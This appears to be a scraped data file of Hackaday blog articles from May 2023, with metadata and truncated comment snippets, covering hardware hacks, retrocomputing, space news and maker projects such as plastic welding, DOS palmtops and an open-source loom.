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https://hackaday.com/2023/05/15/zippy-plastic-welding/ | Zippy Plastic Welding | Al Williams | [
"3d Printer hacks",
"Tool Hacks"
] | [
"filler",
"hot glue",
"hot glue gun",
"plastic repair",
"plastic welding"
] | Plastic welding isn’t a new idea. But a recent video from [The Maker] shows an interesting twist. Given a broken piece of plastic, he secures it together with tape, machines out a channel around the cracks, and then
melts zip ties
into the channels. Honestly, although he mentions plastic welding and soldering, we aren’t sure this isn’t just simple gluing, but it did give us some ideas. Watch the video below and you’ll probably get the same ideas.
The ingenuity here isn’t necessarily using hot plastic to glue together two pieces — that’s just a hot glue gun, after all. Rather, it occurred to us that the key here was machining out the places where significant amounts of the hot plastic could bond the two pieces together. He cut the channels with a rotary tool, buffed them, and used a hot knife to give them some internal texture. But with a 3D printer, you could build these channels into parts that were made to interlock.
Think about it. Two pieces you print that have some type of tab arrangement to interlock. But their surfaces provide a built-in “glue canal,” sort of like he builds on the video. At the end, you could use some of the same filament in a 3D printing pen or even rigged in a hot glue gun like the zip ties and make a perfect connection.
We haven’t tried this, but it seems like a good idea. We’ve certainly
glued parts together before
and covered
many methods for alignment
, too. If you try it, do
share the results
! | 53 | 17 | [
{
"comment_id": "6642823",
"author": "jpa",
"timestamp": "2023-05-15T08:09:24",
"content": "Do note that this probably only works with the high temperature hot glue guns, not the cheap low-temperature ones.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642... | 1,760,372,300.229255 | ||
https://hackaday.com/2023/05/14/missing-dr-dos-power-management-source-code-found-in-patent/ | Missing DR-DOS Power Management Source Code Found In Patent | Robin Kearey | [
"computer hacks",
"Retrocomputing",
"Software Hacks"
] | [
"DOS driver",
"DR-DOS",
"patent",
"power management",
"x86 assembly"
] | Modern processors come with all kinds of power management features, which you don’t typically notice as a user until you start a heavy program and hear the CPU fan spin up. Back in the early 1990s however, power management was largely unheard of, meaning that a CPU with nothing to do would run through an idle loop that dissipated about as much power as a real computing task. [Michal Necasek] noticed this while experimenting with DR-DOS 6.0 in a virtual machine – his laptop fan would start running on full blast whenever he opened the VM. His search for a solution to this annoyance
led him down a fascinating journey into the intricacies of DOS power management
.
As it turned out, DR-DOS 6.0 does have functionality built in for putting the CPU in power saving mode when it’s idle. This feature is not complete, however: Digital Research required each computer manufacturer to develop an
IDLE
driver customized to their specific hardware platform in order to enable power management. Sadly, no manufacturer ever bothered to do so, leaving [Michal] with no option other than writing a driver himself. While there was
some documentation
available, it didn’t include any example code or sufficient detail to write a driver from scratch.
What it did include was a reference to
U.S. Patent No. 5,355,501
. Normally this sort of information is of interest only to those planning to sell a competing system, but this specific patent happens to include dozens of pages of well-documented but poorly-scanned x86 assembly code, including source code for a basic
IDLE86.SYS
driver. As [Michal] wasn’t looking forward to chasing bugs caused by OCR errors, he simply copied the source code by hand, then ran it through an assembler. The end result was a working
IDLE
driver, which is now
available for download
from his website.
[Michal]’s blog post also includes lots of details on early power saving implementations, including all the DOS interrupt calls involved in the process. Patents might seem boring in contrast, but they sometimes contain surprising amounts of usable information. You might find enough details to
reverse-engineer a wireless protocol
, or even to
help track down an obscure instrument’s original designer
. | 20 | 10 | [
{
"comment_id": "6642802",
"author": "Mystick",
"timestamp": "2023-05-15T05:27:41",
"content": "Good ‘ole DR-DOS… haven’t thought about that one for a while!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6643639",
"author": "Nt7Ftr",
"timest... | 1,760,372,299.5883 | ||
https://hackaday.com/2023/05/14/anodizing-titanium-in-multiple-colors/ | Anodizing Titanium In Multiple Colors | Al Williams | [
"chemistry hacks",
"Tool Hacks"
] | [
"anodizing",
"Chemistry",
"electroplating",
"titanium"
] | [Titans of CNC Machining] wanted to anodize some titanium parts. They weren’t looking for a way to make the part harder or less prone to corrosion. They just wanted some color. As you can see in the video below, the resulting setup
is much simpler
than you might think.
The first attempt, however, didn’t work out very well. The distilled water and baking soda was fine, as was the power supply made of many 9V batteries. But a copper wire contaminated the results. The lesson was that you need electrodes of the same material as your workpiece.
In this case, they happened to have some handles made of titanium, but some stock pieces would probably work, too. Your eye sees light reflecting from both the oxide layer and the underlying titanium at different angles. Because those reflections interfere with each other, they either cancel each other out or combine. That’s what makes it appear to be a color. By changing the voltage, you can get different oxide thickness and, therefore, different colors.
This is type III titanium anodizing, so it is common to see this used for identifying parts quickly. For example, bone screws for orthopedic surgery are typically treated this way, so the surgeon can ask for a “green screw” instead of a specific size. Because of the way the interference works, you can’t make every color. For example, there is no red anodized titanium. Parts anodized using Type II, on the other hand, have a telltale gray color. They are more resistant to wear and corrosion.
We’ve covered several ways to do
aluminum anodizing
before. If you are short on baking soda, you can always try
Coke Zero
. | 12 | 3 | [
{
"comment_id": "6642860",
"author": "RichC",
"timestamp": "2023-05-15T10:42:31",
"content": "If the YouTube thumbnail includes someone faking an expression of surprise, I ignore the video.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642868",
"au... | 1,760,372,299.640595 | ||
https://hackaday.com/2023/05/14/hackaday-links-may-14-2023/ | Hackaday Links: May 14, 2023 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links",
"Slider"
] | [
"apollo",
"bill hammack",
"electron",
"esd",
"flash memory",
"float gate",
"hackaday links",
"ikea",
"magnetron",
"MARKUS",
"Moon landing",
"mosfet",
"neolithic",
"roscosmos",
"Teardown 2023",
"usb"
] | It’s been a while since we heard from Dmitry Rogozin, the always-entertaining former director of Roscosmos, the Russian space agency. Not content with
sending mixed messages about the future of the ISS
amid the ongoing war in Ukraine, or attempting to
hack a mothballed German space telescope back into action
, Rogozin is now spouting off that
the Apollo moon landings never happened
. His doubts about NASA’s seminal accomplishment apparently started while he was still head of Roscosmos when he tasked a group with looking into the Apollo landings. Rogozin’s conclusion from the data his team came back with isn’t especially creative; whereas some Apollo deniers go to great lengths to find “scientific proof” that we were never there, Rogozin just concluded that because NASA hasn’t ever repeated the feat, it must never have happened.
Can your chair crash your computer? You’d think not, at least under normal use — I mean, hit a computer with a chair and it’ll probably crash eventually — but
that’s not Felix Häcker’s experience
. He noticed a pesky problem with his monitor, which turns off briefly when he gets in or out of his chair. His first instinct was to look for loose connections, thinking his movements were wiggling the power or data cables loose. But then he discovered similar reports from other users of the
Ikea “MARKUS” chair
, which apparently builds up enough electrostatic charge that the discharge created by getting in or out of it zaps the monitor. It’s one of the weirdest failure modes we’ve ever heard of. And note to self: Don’t use this chair at the workbench.
Does a USB drive change weight as you add and remove data? It seems like a silly question, but
apparently, it does
— just not the way you might think. Since electrons have mass — all of
9.109×10
−31
kg each — and flash memory works by storing charge, adding and removing data from a USB stick must change its weight. But interestingly, since flash memory removes the charge from the floating gate of the
MOSFET to store a logical 1, that means that an empty flash drive (i.e., one storing nothing but zeros) must weigh more than a drive with nothing but ones. But by how much? Knowing that
each bit in a flash memory cell holds somewhere around 100 to 1,000 electrons
, a little back-of-the-envelope math shows us that a half-terabyte USB drive can vary by as much as 373 femtograms on the low end to 3.73 picograms at the upper limit. Actually measuring the weight change is left as an exercise for the reader.
If you manage to accomplish that task, you’re probably the kind of person who’d enjoy
Teardown 2023
. Billed as “a conference for hacking, discovering, and sharing hardware,” it sounds right up our collective alley. It’ll be held June 23 through 25 on the campus of Portland State University in Portland, Oregon. Early-bird tickets are available now, and there’s
a call for proposals
too. It looks like this is the first in-person Teardown since 2019, the “before-times,” so don’t miss the chance to mix and mingle again.
And finally,
a few months back
we gave everyone the heads up that Bill Hammack would be coming back to YouTube with more of his “The Engineer Guy” videos. It was exciting news at the time, and now that the videos have dropped, we can say that they were well worth the wait. They cover everything from
the neolithic engineering of Göbekli Tepe
to
the invention of the magnetron
, and he manages to tie them all together with insights into the engineering mindset. The key takeaway for me was the difference between the scientific method and the engineering method. The videos are fantastic, and I can’t wait to get the accompanying book,
The Things We Make
. In the meantime, enjoy the videos. | 13 | 6 | [
{
"comment_id": "6642757",
"author": "tonytran2015",
"timestamp": "2023-05-14T23:23:52",
"content": "The total number of electrons in any object changes with its total electrostatic charge. An USB or any FET transistor does not change its total electrostatic charge.",
"parent_id": null,
"dep... | 1,760,372,299.909053 | ||
https://hackaday.com/2023/05/14/hackaday-prize-2023-eye-tracking-wheelchair-interface-is-a-big-help/ | Hackaday Prize 2023: Eye-Tracking Wheelchair Interface Is A Big Help | Lewin Day | [
"Misc Hacks",
"The Hackaday Prize"
] | [
"2023 Hackaday Prize",
"eye tracking",
"webcam"
] | For those with quadriplegia, electric wheelchairs with joystick controls aren’t much help. Typically, sip/puff controllers or eye-tracking solutions are used, but commercial versions can be expensive. [Dhruv Batra] has been experimenting with a DIY eye-tracking solution that can be readily integrated
with conventional electric wheelchairs.
The system uses a regular webcam aimed at the user’s face. A Python script uses OpenCV and a homebrewed image segmentation algorithm to analyze the user’s eye position. The system is configured to stop the wheelchair when the user looks forward or up. Looking down commands the chair forward. Glancing left and right steers the chair in the given direction.
The Python script then sends the requisite commands via a TCP connection to an ESP32, which controls a bunch of servos to move the wheelchair’s joystick in the desired manner. This allows retrofitting the device on a wheelchair without having to modify it in an invasive manner.
It’s a neat idea, though it could likely benefit from some further development. A reverse feature would be particularly important, after all. However, it’s a great project that has likely taught [Dhruv] many important lessons about human-machine interfaces,
particularly those beyond the ones we use every day.
This project has a good lineage as well — a similar project,
EyeDriveOMatic
won the Hackaday prize back in 2015.
The
Hackaday
Prize 2023
is Sponsored by: | 2 | 2 | [
{
"comment_id": "6642822",
"author": "m1ke",
"timestamp": "2023-05-15T08:07:04",
"content": "Self driving wheel chairs when?",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6642912",
"author": "Ken de AC3DH",
"timestamp": "2023-05-15T14:16:53",
"con... | 1,760,372,299.518104 | ||
https://hackaday.com/2023/05/14/industrial-robot-gets-open-source-upgrade/ | Industrial Robot Gets Open-Source Upgrade | Bryan Cockfield | [
"Robots Hacks"
] | [
"controller",
"Fanuc",
"fpga",
"gcode",
"industrial",
"LinuxCNC",
"ODrive",
"open source",
"robot"
] | Industrial robots are shockingly expensive when new, typically only affordable for those running factories of some sort. Once they’ve gone through their life cycle building widgets, they can be purchased for little more than scrap value, which is essentially free compared to their original sticker price. [Excessive Overkill] explains all of this in a video where he purchased one at this stage to try to revive, but it also
shows us how to get some more life out of these robots
if you can spend some time hunting for spare parts, installing open-source firmware, and also have the space for a robot that weighs well over a thousand kilograms.
This specific robot is a Fanuc R2000ia with six degrees of freedom and a reach of over two meters. Originally the plan was to patch together a system that could send modern gcode to the Fanuc controller, but this was eventually scrapped when [Excessive Overkill] realized the controller that shipped with this robot was for an entirely different machine and would never work. Attempts to find upgraded firmware were frustrated, and after a few other false starts a solution was found to get the robot working again using LinuxCNC and Mesa FPGA cards, which have built-in support for Fanuc devices like this.
More after the break…
After two years of trying various solutions to get the robot working properly, including suffering through the global chip shortage and trying to decode proprietary motor encoder information, [Excessive Overkill] has a fairly functional industrial-strength robot on his hands, albeit with a much slower speed than its original firmware supported. This isn’t much of a problem, though, since it’s not in an industrial setting anymore. There are some issues as well with the servo control and the PID settings, but this robot is still a work in progress. The hope is that eventually, the portable controller that was built for this robot would work on a large array of Fanuc robots. Building your own open-source controller has a number of benefits beyond getting old industrial robot arms back up and running too, like
making sure to avoid a situation where an attacker has infiltrated and changed your robot
. | 15 | 6 | [
{
"comment_id": "6642682",
"author": "jack",
"timestamp": "2023-05-14T17:17:30",
"content": "Awesome. A new heater, just in time for summer. Where I’m at, too many people are moving. We were already told that our independent power grid will not be able to cool us comfortably this summer. So we m... | 1,760,372,300.036017 | ||
https://hackaday.com/2023/05/14/a-guard-bot-for-your-home-assistant/ | A Guard Bot For Your Home Assistant | Danie Conradie | [
"home hacks",
"Robots Hacks"
] | [
"arduino",
"ESP32 camera",
"homeassistant",
"robot",
"wireless charging"
] | While fixed sensors, relays, and cameras can be helpful in monitoring your home, there are still common scenarios you need to physically go and check something. Unfortunately, this is often the case when you’re away from home. To address this challenge, [PriceLessToolkit] created a
guardian bot
that can be controlled through Home Assistant.
The robot’s body is made from 3D printed components designed to house the various modules neatly. The ESP32 camera module provides WiFi and video capabilities, while the Arduino Pro Mini serves as the bot’s controller. Other peripherals include a light and radar sensor, an LED ring for status display, and a speaker for issuing warnings to potential intruders. The motor controllers are salvaged from two 9-gram servos. The onboard LiPo battery can be charged wirelessly with an integrated charging coil and controller by driving the bot onto a 3D printed dock.
This build is impressive in its design and execution, especially considering how messy it can get when multiple discrete modules are wired together. The rotating caster wheels made from bearings add an elegant touch.
If you’re interested in building your own guard bot, you can find the software, CAD models, and schematics on
GitHub
. If you’re looking to add other gadgets to your Home Assistant setup, we’ve seen it connect to
boilers
,
blinds
,
beds
and
433 MHz sensors
.
Thanks for the tip [Bernard]! | 31 | 7 | [
{
"comment_id": "6642664",
"author": "Jan",
"timestamp": "2023-05-14T15:41:49",
"content": "A well placed kick will render it nonfunctional.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642667",
"author": "Gerard Depardieu",
"timestamp": "... | 1,760,372,299.980917 | ||
https://hackaday.com/2023/05/14/artemis-ii-will-phone-home-from-the-moon-using-laser-beams/ | Artemis II Will Phone Home From The Moon Using Laser Beams | Joseph Long | [
"Laser Hacks",
"Science"
] | [
"Artemis",
"laser communication",
"nasa"
] | [NASA] Astronauts will be testing the
Orion Artemis II Optical Communications System (O2O)
to transmit live, 4K ultra-high-definition video back to Earth from the Moon. The system will also support communication of images, voice, control channels, and enhanced science data.
Aboard Orion, the space terminal includes an optical module, a modem, and a control system. The optical module features a four inch telescope on a dual gimbal mount. The modem modulates digital information onto laser beams for transmission back to Earth, and demodulates data from laser beams recieved from Earth. The control system interfaces with avionic systems aboard Orin to control and point the communications telescope.
On Earth, facilities including the Jet Propulsion Laboratory and the White Sands Complex will maintain high-bandwidth optical communication links with Orion. Information received from Orion will be relayed to mission operations, scientists, and researchers.
NASA’s
Laser Communications Relay Demonstration (LCRD)
showcases the benefits of optical communications. Traditionally, missions relied upon radio communication, but improved technology will better serve space missions that generate and collect ever-increasing quantities of data. Optical communication solutions can provide 10 to 100 times the bandwidth of radio frequency systems. Other improvements may include increased link distances, higher efficiency, reduced interference, improved security, and reductions in size and weight. Our
Brief History of Optical Communication
outlines many of these advantages. | 52 | 11 | [
{
"comment_id": "6642602",
"author": "Dude",
"timestamp": "2023-05-14T12:29:25",
"content": "I wonder if cloaca on the moon will have spinning water in left to right direction or in reverse? Is it spin-locked to movement of water on Earth (high and low Tide)?",
"parent_id": null,
"depth": 1,... | 1,760,372,300.13141 | ||
https://hackaday.com/2023/05/14/an-open-source-4-shaft-portable-loom/ | An Open-Source 4-Shaft Portable Loom | Jenny List | [
"Tool Hacks"
] | [
"loom",
"table loom",
"weaving"
] | Part of writing for Hackaday involves doing the rounds of our community’s events in search of amazing projects for your delectation. This weekend it was a trip to Maker Faire Delft, thanks to the wonders of the European Interail scheme. Once on the site,
[Aslı Aydın Aksan]’s 4-shaft weaving loom
immediately caught our eye. This is an open-source portable folding loom design. In weaving terms, shafts are sliding vertical frames. As the name implies, this loom has four, which allow different sets of warp threads to be brought to the surface of the weave at different times. This feature makes it capable of weaving complex patterns in the fabric and thus makes it a very interesting project indeed.
The frame of the loom is laser-cut ply, cunningly designed such that when not in use it can be folded into a compact unit. The attachments are all 3D-printed PLA in the prototypes, the comb is laser-cut acrylic, and the heddles are 3D printed in a flexible material. These last components conceal a further trick, they’re designed to be extra-easy to move between shafts on the fly, allowing even more complex patterns to be created.
All in all this is one of those special projects that comes out of the blue and raises the bar on all in its class. If there’s another 4-shaft loom this accessible, we’ve yet to hear of it.
It’s not the first loom we’ve covered, however,
this one wasn’t nearly as accomplished
. | 18 | 6 | [
{
"comment_id": "6642608",
"author": "BT",
"timestamp": "2023-05-14T12:55:09",
"content": "Odd there’s no pic of any cloth produced even in the linked project.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642642",
"author": "Add a 555",
"t... | 1,760,372,299.694023 | ||
https://hackaday.com/2023/05/13/never-stare-down-a-robot/ | Never Stare Down A Robot | Al Williams | [
"Robots Hacks"
] | [
"blinking",
"emotion",
"human",
"robot",
"uncanny valley",
"uncannyvalley"
] | There are a few things historically difficult to make a robot do. Stairs, of course, are the obvious problem. But realistic blinking behavior is harder than you might think. At first, it might seem frivolous and simple to have a robot blink, but according to Italian scientists,
it is both more important and more difficult
than you probably think.
Blinking is a nonverbal cue when humans communicate. The post quotes a Finnish researcher:
While it is often assumed that blinking is just a reflexive physiological function associated with protective functions and ocular lubrication, it also serves an important role in reciprocal interaction.
The researchers found that both 13-year-old and adult subjects like blinking robots more. Apparently, a robot that doesn’t blink makes people feel stared at — sorry HAL.
The researchers also note that blinking is subtle, so getting it right isn’t easy and requires high-precision motors. They mention that making it move fast and look realistic takes a lot of work. We wonder, however, if an LCD-rendered eye could blink very effectively and at a lower cost. After all, the eye doesn’t have to be the robot’s actual camera. Regardless, the researchers point out that if the blinking isn’t natural, it appears “odd and disturbing.”
We’ve seen plenty of
blinking eye mechanisms
. They don’t have to be
overly complicated
. | 18 | 14 | [
{
"comment_id": "6642527",
"author": "Adrienne",
"timestamp": "2023-05-14T05:13:01",
"content": "Agility Robotics’ Digit winks! – (watch at 0:14)https://twitter.com/GiryaGirl/status/1637934068783349763",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6642528",
... | 1,760,372,299.751008 | ||
https://hackaday.com/2023/05/13/esa-juices-rime-antenna-breaks-free-after-some-jiggling-and-percussive-action/ | ESA Juice’s RIME Antenna Breaks Free After Some Jiggling And Percussive Action | Maya Posch | [
"News",
"Space"
] | [
"ESA Juice",
"Non explosive actuator",
"percussive maintenance",
"satellite"
] | After ESA’s Jupiter-bound space probe Juice (Jupiter Icy Moons Explorer) launched on April 14th of this year, it initially looked as if it had squeezed out a refreshingly uneventful deployment, until it attempted to unfurl its solar panels and antennae. One of these antennae, for the RIME (Radar for Icy Moons Exploration) instrument that uses ice-penetrating radar to get a subsurface look at Jupiter’s moons, ended up being rather stuck. Fortunately, on May 12th it
was reported
that ESA engineers managed to shock the sticky pin loose.
Release of the jammed antenna coinciding with the actuation of the NEA (‘NEA 6 Release’). The antenna wobbles about before settling in a locked position. (Credit: ESA)
We
previously covered
the discovery of
Juice’s
RIME antenna troubles, with one of the retaining pins that hold the antenna in place in its furled position stubbornly refusing to shift the few millimeters that would have allowed for full deployment. Despite the high-tech nature of the Juice spacecraft, the optimal solution to make the pin move was simply to try and shake it loose.
Attempts were initially made using the spacecraft’s thrusters to shake the whole vehicle, as well as by warming it in sunlight. Each of these actions seemed to help a little bit, but the breakthrough came when a non-explosive actuator (NEA) was actuated in the jammed bracket. This almost fully fixed the problem, leading the team in charge to decide to fire another NEA, which finally allowed the pin to fully shift and the antenna to fully deploy and lock into place.
Assuming no further issues occur during Juice’s long trip through the Solar System, Juice is expected to arrive at Jupiter after four gravity assists in July of 2031. There it will perform multiple science missions until a planned deorbit on Ganymede by late 2035. | 22 | 11 | [
{
"comment_id": "6642505",
"author": "Dave",
"timestamp": "2023-05-14T02:59:00",
"content": "…but Ganymede already had a population in large glasshouses where they were growing food for the belt. Then the protomolecule man came along, and other baddies then destroyed the in-orbit floating mirrors.(... | 1,760,372,300.298184 | ||
https://hackaday.com/2023/05/16/the-mos-cia-lives-on-in-74hct/ | The MOS CIA Lives On, In 74HCT | Jenny List | [
"Retrocomputing"
] | [
"6526",
"commodore",
"MOS CIA"
] | It’s always pleasing to see a project we covered in its early stages reach maturity, so were very happy to bring you an update on [Daniel Molina]’s 74HCT6526.
It’s a long-running effort to produce in 74 logic a faithful replica of the MOS Technologies CIA
, the integrated I/O and timer chip found in so many of the 1980s Commodore machines. When we first covered it there was only one PCB, now the project has grown to a stack of three, with the remaining functions intended to fit on two more boards.
It was very common at the time for chips such as the CIA to integrate a set of common 8-bit peripherals onto one piece of silicon, both in general purpose with almost all functions of the original now implemented. hips and in more manufacturer specific parts such as this one. A project like this one is valuable because it provides a dive into the now less-common world of interfacing directly to a microprocessor data and address line. It’s unlikely that many Commodore 64s will end up with this stack of boards inside them, but it’s not impossible the design may help a few old machines when put on an FPGA.
Meanwhile, remember
it’s not the only custom 1980s home computer chip replaced with 74 logic
. | 12 | 4 | [
{
"comment_id": "6643182",
"author": "ewlie",
"timestamp": "2023-05-16T09:22:13",
"content": "“functions of the original now implemented. hips and in more manufacturer specific parts” Typo?",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6643216",
"author":... | 1,760,372,300.350443 | ||
https://hackaday.com/2023/05/15/a-paste-extruder-for-normal-printers/ | A Paste Extruder For Normal Printers | Jenny List | [
"3d Printer hacks"
] | [
"extruder",
"food printer",
"paste extruder"
] | In the bright sunshine of a warm spring afternoon at Delft Maker Faire, were a row of 3D printers converted with paste extruders. They were the work of [Nedji Yusufova], and though while were being shown printing with biodegradable pastes made from waste materials, we were also interested in their potential to print using edible media.
The extruder follows a path set by similar ones we’ve seen before in that it uses a disposable syringe at its heart, this time in a laser-cut ply enclosure and a lead screw driven by a stepper motor. It’s part of a kit suitable for run-of-the-mill FDM printers
that’s available for sale if you have the extra cash
, but happily
they’ve also made all the files available
.
We’ve seen quite a few syringe extruders and
at least one food printer
, so there’s nothing particularly new about this one. What it does give you is a relatively straightforward build and a ready integration with some mass market printers you might be familiar with. Perhaps the most interesting part of this project isn’t even the extruder itself but the materials, after all having a paste extruder gives you the opportunity to experiment with new recipes. We like it. | 17 | 6 | [
{
"comment_id": "6643150",
"author": "IIVQ",
"timestamp": "2023-05-16T06:55:46",
"content": "Could you run batter through a hotend and print ánd bake it at the same time?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6643156",
"author": "Adam Ruz-Ro... | 1,760,372,300.462428 | ||
https://hackaday.com/2023/05/15/modern-co2-laser-reviewed/ | Modern CO2 Laser Reviewed | Al Williams | [
"Laser Hacks",
"Reviews"
] | [
"co2 laser",
"laser cutter",
"review"
] | If you’ve got a laser cutter, it is highly probable that it uses a laser diode. But more expensive machines use a carbon dioxide laser tube along with mirrors. There was a time when these lasers came in two flavors: very expensive and amazing or moderately expensive and cheaply made. However, we are seeing that even the moderately expensive machines are now becoming quite advanced. [Chad]
reviews a 55-watt xTool P2
. At around $5,000, it is still a little spendy for a home shop, but it does have pretty amazing features. We can only hope some less expensive diode lasers will adopt some of these features.
[Chad’s] video that you can see below attempts to recreate some of the amazing things xTool did on their product introduction live stream. He was able to recreate most, but not all of the results. In some cases, he was also able to do better.
For example, the device has two cameras and can move the height dynamically. So, for example, the company showed engraving a curved guitar, with the laser moving to accommodate the curve. It also could automatically duplicate a design on multiple pieces, and thanks to the cameras, it was able to correctly position the design on the pieces regardless of their position or orientation.
As [Chad] points out, though, it is more work to align and maintain a tube laser than a solid state one. There is cooling fluid, and mirrors to align and clean. Honestly, if you are doing simple cuts and engraving on flat things one at a time, this might not be worth your money. But if you are using your laser to make money, the efficiency would be a big plus.
He couldn’t reproduce all the tests because he didn’t have the conveyor feeder that lets you cut long items or the riser to cut tall objects. He did, however, engrave tiny text on a grain of rice which is pretty impressive. Of course, with a 55-watt laser, it could cut through most material he tried, too. It did have some trouble with some 18mm hardwood, though.
Of course, you could
build your own
, but it might be hard to match some of the features. When looking at lasers, don’t forget you can’t just
look at power
. The laser source counts, too. | 14 | 5 | [
{
"comment_id": "6643218",
"author": "James Reed Feeney",
"timestamp": "2023-05-16T13:29:38",
"content": "WATCH OUT HERE! These lasers are very powerful, and can burn the retnas of your eyes instantly. Eye protection is a must here. CO2 lasers emit a lower frequency infared light. Appropriate eye pr... | 1,760,372,300.400451 | ||
https://hackaday.com/2023/05/15/this-12-cnc-rotary-axis-will-make-your-head-spin/ | This $12 CNC Rotary Axis Will Make Your Head Spin | Michael Shaub | [
"cnc hacks"
] | [
"3d print",
"Autodesk Fusion 360",
"blender",
"board games",
"chess",
"cnc",
"CNC machine",
"CNC mill",
"CNC rotary axis",
"g-code",
"g-code post-processing",
"rotary axis mill",
"stepper motor",
"tailstock"
] | [legolor] brings us
a great, cheap rotary axis to add to your small 3 axis CNC mills
. How are you going to generate G-Code for this 4th axis? That’s the great part, and the hack, that [legolor] really just swapped the Y axis for the rotation. To finish the workflow and keep things
cheap
accessible to all there’s a great trick to “unwrap” your 3D model so your CAM software of choice thinks it’s still using a linear Y axis and keeps your existing workflow largely intact. While this requires an extra step in Blender to do the unwrapping, we love the way this hack changes as little of the rest of your process as possible. The Blender script might be useful for many other purposes too.
The results speak for themselves too! We thought the 3D printed parts were suspect in a CNC setup, but for the small scale of game pieces and milling wood, the setup is stable enough to produce a surprisingly accurate and detailed finish. If you want to try the same approach with something larger or a tougher material, [legolor] has a suggestion of a tailstock setup that’s still under $100 USD. | 20 | 10 | [
{
"comment_id": "6643074",
"author": "Diggedypomme",
"timestamp": "2023-05-15T23:27:10",
"content": "I struggle to get mine to work well on just 3 axis – these look great",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6643086",
"author": "Meatspin",
"t... | 1,760,372,300.524311 | ||
https://hackaday.com/2023/05/15/a-free-tv-with-a-catch-new-normal-or-inevitable-hardware-bonanza/ | A Free TV With A Catch: New Normal Or Inevitable Hardware Bonanza? | Jenny List | [
"home hacks"
] | [
"4x",
"adverts",
"startup",
"television",
"telly"
] | The dystopian corporate dominated future may have taken a step closer, as a startup called Telly promises
a free 55 inch 4K TV with a catch — a second screen beneath the main one that displays adverts
. The viewers definitely aren’t the customers but the product, and will no doubt have every possible piece of data that can be harvested from them sold to the highest bidder. There’s even a microphone and camera pointed at the viewer, to complete the
1984
experience. In a sense it’s nothing new, as certain TV manufacturers have been trying to slip adverts into the interfaces on their paid-for smart TVs for years.
Oddly we’re not convinced though, that the eventual outcome of this will be as sinister as readers might expect. Indeed if the past is anything to go by, it could even herald an eventual bonanza of 4K screens for hardware hackers. To explain why, we have to travel back to the late 1990s, when free hardware for adverts startups were last tried. Back then
there were a spate of companies using the same model of free or super-cheap
hardware, and without exception they ran into
the fundamental problem that people who rely on a free product in exchange for adverts aren’t generally high value consumers
who can bring in the revenue to support buying a ton of consumer electronics. The “free” hardware from several of these startups then found its way onto the surplus market — or in the case of
CueCat barcode scanners
, directly into the hands of hardware hackers, and was repurposed for use in the way our community knows best.
So yes. Telly represents all that’s wrong for the privacy of viewers about the current media landscape. But who knows, it might just spawn a hacking scene all of its own. As a final note we think that they’ll have an interesting time protecting their brand name if they ever enter the British market, where “telly” has been slang for television ever since the technology entered the mainstream. | 66 | 23 | [
{
"comment_id": "6643006",
"author": "BIll Gates",
"timestamp": "2023-05-15T20:07:18",
"content": "reminds me of this:I’d just disconnect the screen header from the second screen, and some lenses and some paint could fool the viewer sensors. Or, you know , I could not just sign up for that crap.data... | 1,760,372,300.762613 | ||
https://hackaday.com/2023/05/15/hackaday-prize-2023-a-diy-voice-control-module/ | Hackaday Prize 2023: A DIY Voice-Control Module | Lewin Day | [
"Misc Hacks",
"The Hackaday Prize"
] | [
"2023 Hackaday Prize",
"raspberry pi",
"voice",
"voice assistant",
"voice recognition"
] | If science fiction taught us anything, it’s that voice control was going to be the human-machine interface of the future. [Dennis] has now whipped up a tutorial
that lets you add a voice control module to any of your own projects.
The voice control module uses a Raspberry Pi 4 as the brains of the operation, paired with a Seeed Studio ReSpeaker 4-microphone array. The Pi provides a good amount of processing power to crunch through the audio, while the mic array captures high-quality audio from any direction, which is key to reliable performance. Rhasspy is used as the software element, which is responsible for processing audio in a variety of languages to determine what the user is asking for. Based on the voice commands received, Rhasspy can then run just about anything you could possibly require, from sending MQTT smart home commands to running external programs.
If you’ve always dreamed of whipping up your own version of
Jarvis from
Iron
Man,
or you just want a non-cloud solution to turn your lights on and off, [Dennis’s] tutorial is a great place to start. Video after the break.
The
Hackaday
Prize 2023
is Sponsored by: | 13 | 4 | [
{
"comment_id": "6642986",
"author": "4t34",
"timestamp": "2023-05-15T19:15:45",
"content": "mycroft?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6643016",
"author": "Andy",
"timestamp": "2023-05-15T20:32:05",
"content": "Its dead ... | 1,760,372,300.8109 | ||
https://hackaday.com/2023/05/15/new-dos-pcs-in-2023/ | New DOS PCs, In 2023? | Jenny List | [
"Retrocomputing"
] | [
"386sx",
"8088",
"AliExpress",
"dos",
"pc",
"windows 95"
] | It’s not likely that we’ll talk about a new PC here at Hackaday because where’s the news in yet another commodity computer? But today along comes not one but two new PCs courtesy of the ever bounteous hall of wonders at AliExpress, that are unusual enough to take a look at. If you have around $250 to spare, you can have a brand new, made in 2023,
80386sx plamtop PC
capable of running Windows 95, or
an 8088 laptop for DOS
. Just what on earth is going on?
First of all, these PCs are not evidence of those aged chips going back into production. A close look at the photographs on the Ali listings shows chips with date codes more appropriate to the era when these chips were king, with a mid-1990s VGA chip and a 2000s-era 386-core SoC. These are the fruit of the chip recycling business, devices removed from their original boards, cleaned up, and sold on. Some canny Chinese designer has spotted a product niche, and run with it.
For your cash you get what would have been a high spec 386sx PC in the early 1990s and a pretty useful 8088 machine in the mid ’80s. Neither would have appeared in a palmtop or clamshell laptop form factor in their own eras, so they would both have been considered phenomenal machines when new. It’s debatable how good a Windows 95 machine the 386sx would be even with that 8 megabytes of RAM, but both of them will benefit from their solid-state CF card hard drives.
So, these machines are cool.
Inestimably
cool, and we have to admit a level of desire. But are they $250 levels of cool? Probably not, when the modern equivalent in a base model Steam Deck is about $450 and there are so many emulation options out there. Still, top effort!
Haven’t got $250 but must have a DOS PC?
It’s five years since someone emulated one on an ESP8266
.
Thanks to the many tipsters who came to us with this one. | 85 | 29 | [
{
"comment_id": "6642961",
"author": "Michael Black",
"timestamp": "2023-05-15T18:27:36",
